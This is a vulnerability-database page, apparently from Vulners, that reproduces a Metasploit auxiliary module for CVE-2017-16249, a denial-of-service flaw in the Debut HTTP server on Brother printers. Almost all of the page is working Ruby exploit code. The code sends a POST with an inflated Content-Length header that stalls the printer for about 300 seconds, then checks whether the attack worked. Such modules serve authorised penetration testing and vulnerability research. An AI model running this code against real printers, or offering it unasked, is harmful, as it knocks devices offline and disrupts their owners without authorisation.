Lucene search
K

Brother Debut http Denial Of Service

🗓️ 29 Dec 2017 19:16:34Reported by z00n <[email protected]>, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

Brother Debut http Denial Of Service vulnerability in printers causing unresponsive state

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Brother Debut http Denial Of Service',
      'Description'    => %q{
        The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial
        of Service (DoS) condition via a crafted HTTP request.  The printer will be
        unresponsive from HTTP and printing requests for ~300 seconds.  After which, the
        printer will start responding again.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
      [
        'z00n <[email protected]>', # vulnerability disclosure
        'h00die' # metasploit module
      ],
      'References'     => [
        [ 'CVE', '2017-16249' ],
        [ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730']
      ],
      'DisclosureDate' => '2017-11-02'))
  end

  def is_alive?
    res = send_request_raw({
      'method'	=> 'GET',
      'uri'	=> '/',
    },10)

    return !res.nil?
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
    print_error("Couldn't connect to #{peer}")
  end

  def dos
    # The web server is single threaded, and when the content length is longer than the data, it will continue to wait
    # for the rest of the data, which never comes, and times out after ~300 seconds.
    data = Rex::Text.rand_text_alphanumeric(40)
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/',
      'data'   => data, #'asdasdasdasdasdasdasd',
      'headers' => {
        # These are kept here since they were in the original exploit, however they are not required
        #'Host' => 'asdasdasd',
        #'User-Agent' => 'asdasdasd',
        #'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        #'Accept-Language' => 'en-US,en;q=0.5',
        #'Referer' => 'asdasdasdasd',
        #'Connection' => 'close',
         #'Upgrade-Insecure-Requests' => 1,
        #'Content-Type' => 'application/x-www-form-urlencoded',
        'Content-Length' => data.length + rand(10) + 10 #42
        }
      })
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
    print_error("Couldn't connect to #{peer}")
  end

  def run
    time = Time.new
    print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
    dos

    # Check to see if it worked or not
    if is_alive?
      print_error("#{peer} - Server is still alive.")
    else
      print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation